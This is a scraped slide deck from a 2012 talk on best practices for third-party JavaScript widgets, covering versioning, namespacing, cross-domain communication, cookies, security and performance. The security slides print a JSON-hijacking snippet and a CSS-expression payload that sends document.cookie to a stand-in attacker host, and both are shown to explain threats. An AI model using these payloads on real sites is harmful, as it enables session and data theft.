28
JavaScript Widget Development Best Practices Volkan Özçelik volkan@ o2js.com 2012-07-29 @ jstanbul http:// jstanbul.org / 2012

External JavaScript Widget Development Best Practices (updated) (v.1.1)

Embed Size (px)

DESCRIPTION

Updated Presenatation of my jstanbul 2012 talk on "JavaScript Widget Development Best Practices"

Citation preview

Page 1: External JavaScript Widget Development Best Practices (updated) (v.1.1)

JavaScript Widget Development Best Practices

Volkan Özçelik

[email protected]

2012-07-29 @ jstanbul

http://jstanbul.org/2012

Page 2: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Who am I?

• CTO, cember.net (%100 acquired by Xing AG; RIP)

• Project Director, livego.com (gone to deadpool, RIP)

• CO-VP of Technology, grou.ps ( http://grou.ps/ )

• JavaScript Engineer, SocialWire ( http://socialwire.com/ )

• J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )

Page 3: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Other Places to Find Me

• http://github.com/v0lkan

• http://geekli.st/volkan

• http://twitter.com/linkibol

• http://linkd.in/v0lkan

Page 4: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Outline

• What is a Widget? / Types of Widgets

• Challenges Involved• Versioning• You are not the host, you are the thief.• Shared Environment• Bumping the Cross-Domain Wall• Not Your Grandma’s Cookies• Security• Performance

• Questions

Page 5: External JavaScript Widget Development Best Practices (updated) (v.1.1)

tar -zxvf 30Min.gz

http://bit.ly/js-widget

(work in progress)

Page 7: External JavaScript Widget Development Best Practices (updated) (v.1.1)

What is a Widget?

• A Distributed Plugin• Source Site ( widget provider )• Consumer Sites ( publishers )

• Can have a GUI ( weather forecast )

• May not have GUI too ( analytics, statistics )

• Can be Stateful

• Can be Stateless

Page 8: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Versioning Hassle

• Types of Versioning:• URL Versioning• Version Number as an Init Parameter

• If it ain’t broke, they won’t fix it.• When’s the last time you updated that Wordpress

theme?

• Nobody will change that darn version number!

Page 9: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Versioning Hassle

• google‘s ga.js 2 hour cache time;• Facebook‘s all.js 15 minute cache time;• twitter‘s widgets.js 30 minute cache time.

What part of “Far Future Expires Header”

don’t you understand?!

Page 10: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Versioning Hassle

• Far Future Expires Header

• Self Cache-Revalidating Scripts:• A Bootloader Script• A JavaScript Beacon:

• Returns 204 No Content if versions match,

• Returns an auto-loader if versions do not match.

• Iframe Refresh

• window.location.reload(true)

Page 11: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Widget Initialization Flow

Page 12: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Act, but don’t be Seen

• You don’t own publisher’s DOM.

• Leave minimal trace behind.

• Do not slow down publisher.

• Do not pollute global namespace.

Page 13: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Act, but don’t be Seen

• Do not extend Object.prototype or Function.prototype.

• Show love to the Module Pattern.

• Do not slow down publisher:• Async initialization,• Lazy Load.

• Do not slow down yourself:• Native is faster,• Use IDs everywhere.

Page 14: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Environment is Shared

• Prefix everything.

• I mean… everything!

Page 15: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Environment is Shared

Page 16: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Cross Domain Boundary

• Modern Methods• CORS• HTML5 window.postMessage API

• Hacks• Flash Proxy• Hash Fragment Transport• window.name Transport• Iframe inside an Iframe (klein bottle)• Use Publisher’s Server as a Proxy• JSON with Padding

Page 17: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Third Party Cookies

• Can be disabled by default.

• Users may explicitly disable them.

• Ad blocker browser plugins may disable them.

• You cannot rely on their existence.

Page 18: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Third Party Cookies

• Meaning of “disabled” varies too• Firefox & Opera:

• Server cannot read, client cannot write• We’re tossed! (or are we?)

• IE:• Server can read, client cannot write

• Webkit (Chrome & Safari):• Server can read, • client can “kinda” write (iframe post hack)

Page 19: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Third Party Cookies

• Check for 3rd Party Cookie Support First• Don’t jump straight into hacks.

• External Windows as a Rescue• A pop-up is considered “first party”

• What about Opera & Firefox ?• Store session ID as a variable.• Pass to the server at each request.• Do not store on publisher’s page!

• Use an IFRAME on API domain for security.

Page 20: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Widget Security

• Bottom Line Up Front• Sanitize everything.• First deny everything, then whitelist known

good.• Check referrers, have a list of trusted domains.• Do not trust anyone.

function Anyone(){}

function Publisher(){}Publisher.prototype = new Anyone();

Page 21: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Widget Security

• XSS• Sanitize everything.• Escape < > ; , ‘ “ into HTML entities.

• CSRF• Use a CSRF token.

• Denial of Service• Subdomains per publisher ( publisher1.api.example.com ).• Throttle suspicious requests per subdomain.• Best handled on network / hardware layer.

• Session Hijacking• … is a reality.• The only reasonable protection is HTTPS.• Use Multi-Level Authentication.

Page 22: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Widget Security (lesser known)

JSON Hijacking

<script>var captured = []; function Array() { for (var i = 0; i < 3; i++) { this[i] setter = function(val) { captured.push(val); }; } }</script> <script src="http://api.example.com/products.json"></script>

Page 23: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Widget Security (lesser known)

CSS Expression Hijacking

var _wd_borderColor = '#000;x:expression(var i = new Image;\ i.src="http://attacker.example.com/?" +

document.cookie);';

Page 24: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Widget Security (lesser known)

Clickjacking

• Invisible IFRAME positioned on a UI element.

Remedy:

• Framekiller scripts

• X-Frame-Options header

• Request confirmation for sensitive actions

• Register all your publishers

Page 25: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Widget Performance

• Minimize Initial Payload:• Tiny boot loader, then load dependencies.

• Lazy load when possible.

• Combine and Minify Assets.

• Use CSS Sprites.

• Defer images (use a default image, then load original).

• Minimize # of HTTP Requests.

Page 26: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Widget Performance

• Minimize Repaint and Reflow.

• Rate-limit Server Requests (throttle, debounce).

• Yield with setTimeout(fn, 0).

• Chunk large arrays of instructions.

• Improve Perceived Performance:• Be an optimist: act, then verify.

Page 27: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Widget Performance

• Do not micro-optimize, • Do not optimize prematurely, • Optimizing without measurement is misleading,• It’s hard to measure a third party widget’s

performance.• A lot of moving parts involved.• Tools like jsperf.com will not be of much use.• Do not use your 8GB Ram + SSD MacBook for

profiling.• Test on an low-grade machine.

• Do not forget mobile!

Page 28: External JavaScript Widget Development Best Practices (updated) (v.1.1)

Thank You!

Questions?